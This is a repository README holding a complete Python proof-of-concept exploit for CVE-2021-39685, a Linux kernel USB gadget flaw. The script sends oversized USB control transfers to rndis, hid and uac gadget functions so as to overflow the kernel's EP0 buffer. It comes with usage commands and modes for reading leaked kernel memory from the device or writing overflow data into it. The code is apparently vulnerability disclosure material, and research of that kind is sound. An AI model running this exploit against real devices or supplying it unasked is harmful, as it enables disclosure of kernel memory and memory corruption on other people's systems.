README.md
Rendering markdown...
#!/usr/bin/python3
#
# CVE-2021-39685
#
# This sample script attempts to exploit lack
# of control transfer request wLength limiting
# by Linux kernel's USB gadget subsystem.
#
# Exploitable functions include rndis, hid,
# uac1, uac1_legacy, uac2.
#
# On the host side use a custom build of libusb
# with MAX_CTRL_BUFFER_LENGTH increased to 0xffff
# from default value of 4096.
#
# The EP0 buffer as allocated in composite.c is
# USB_COMP_EP0_BUFSIZ bytes large so everything past
# 4096 will cause buffer overflow.
#
# Use samples:
# sudo ./gadget.py -v 0x18d1 -p 0x4e23 -f rndis
# sudo ./gadget.py -v 0x1b67 -p 0x400c -f uac1 -d read
#
# This script requires pyusb.
#
# https://github.com/szymonh/inspector-gadget
#
import argparse
import sys
import usb.core
import usb.util
CTRL_REQ_MAP = {
'uac1': {
'read': {
'bmRequestType': 0xa2, # USB_DIR_IN | USB_TYPE_CLASS | USB_RECIP_ENDPOINT
'bRequest': 129, # UAC_GET_CUR
'wValue': 0x00,
'wIndex': 0x00,
},
'write': {
'bmRequestType': 0x22, # USB_DIR_OUT | USB_TYPE_CLASS | USB_RECIP_ENDPOINT
'bRequest': 0x01, # UAC_SET_CUR
'wValue': 0x00,
'wIndex': 0x00,
}
},
'uac1_legacy': {
'read': {
'bmRequestType': 0xa2, # USB_DIR_IN | USB_TYPE_CLASS | USB_RECIP_ENDPOINT
'bRequest': 129, # UAC_GET_CUR
'wValue': 0x00,
'wIndex': 0x00,
},
'write': {
'bmRequestType': 0x22, # USB_DIR_OUT | USB_TYPE_CLASS | USB_RECIP_ENDPOINT
'bRequest': 0x01, # UAC_SET_CUR
'wValue': 0x00,
'wIndex': 0x00,
}
},
'uac2': {
'write': {
'bmRequestType': 0x21, # USB_DIR_OUT | USB_TYPE_CLASS | USB_RECIP_INTERFACE
'bRequest': 1, # UAC2_CS_CUR
'wValue': (0x01 << 8), # higher byte set to UAC2_CS_CONTROL_SAM_FREQ
'wIndex': 0, # lower byte set to uac2->ac_intf, higher USB_IN_CLK_ID
}
},
'rndis': {
'write': {
'bmRequestType': 0x21, # USB_DIR_OUT | USB_TYPE_CLASS | USB_RECIP_INTERFACE
'bRequest': 0x00, # USB_CDC_SEND_ENCAPSULATED_COMMAND
'wValue': 0x00, # needs to be 0
'wIndex': 0x00, # must be set to rndis->ctrl_id
}
},
'hid': {
'write': { # hidg->use_out_ep must be false
'bmRequestType': 0x21, # USB_DIR_OUT | USB_TYPE_CLASS | USB_RECIP_INTERFACE
'bRequest': 0x09, # HID_REQ_SET_REPORT
'wValue': 0x00, # don't care
'wIndex': 0x00, # don't care
}
}
}
def auto_int(val: str) -> int:
'''Convert arbitrary string to integer
Used as argparse type to automatically handle input with
different base - decimal, octal, hex etc.
'''
return int(val, 0)
def parse_args() -> argparse.Namespace:
'''Parse command line arguments
'''
parser = argparse.ArgumentParser(
description='Sample exploit for RNDIS gadget class'
)
parser.add_argument('-v', '--vid', type=auto_int, required=True,
help='vendor id')
parser.add_argument('-p', '--pid', type=auto_int, required=True,
help='product id')
parser.add_argument('-l', '--length', type=auto_int, default=0xffff,
required=False, help='lenght of data to write')
parser.add_argument('-d', '--direction', type=str, default='read',
choices=['read', 'write'],
help='direction of operation from host perspective')
parser.add_argument('-f', '--function', type=str, default='rndis',
choices=('rndis', 'uac1', 'uac1_legacy', 'uac2', 'hid'))
return parser.parse_args()
def setup_device(args: argparse.Namespace):
'''Find and prepare the usb device
'''
usbdev = usb.core.find(idVendor=args.vid, idProduct=args.pid)
if usbdev is None:
print('Device not found, verify specified VID and PID')
sys.exit(1)
for cfg in usbdev:
for idx in range(cfg.bNumInterfaces):
if usbdev.is_kernel_driver_active(idx):
usbdev.detach_kernel_driver(idx)
usbdev.set_configuration()
return usbdev
def build_payload(length: int) -> bytearray:
'''Provide a payload to use
This should include some nice code but for
pure demo As should be fine.
'''
payload = bytearray()
for i in range(0, length):
payload.append(ord('A'))
return payload
def pick_request(args: argparse.Namespace) -> dict:
'''Choose control transfer request
'''
if args.direction not in CTRL_REQ_MAP[args.function]:
args.direction = list(CTRL_REQ_MAP[args.function].keys())[0]
ctrl_req = CTRL_REQ_MAP[args.function][args.direction]
if args.direction == 'read':
ctrl_req['data_or_wLength'] = args.length
else:
ctrl_req['data_or_wLength'] = build_payload(args.length)
return ctrl_req
def present_response(args: argparse.Namespace, data) -> None:
'''Present the retrieved mem contents for read
'''
if args.direction == 'write':
print('Wrote {} bytes of data'.format(data))
print('Please check the device state')
else:
sys.stdout.buffer.write(data)
def exploit(args: argparse.Namespace) -> None:
'''Exploit the Gadget
'''
usbdev = setup_device(args)
ctrl_req = pick_request(args)
data = usbdev.ctrl_transfer(**ctrl_req)
present_response(args, data)
if __name__ == '__main__':
'''Main script
'''
exploit(parse_args())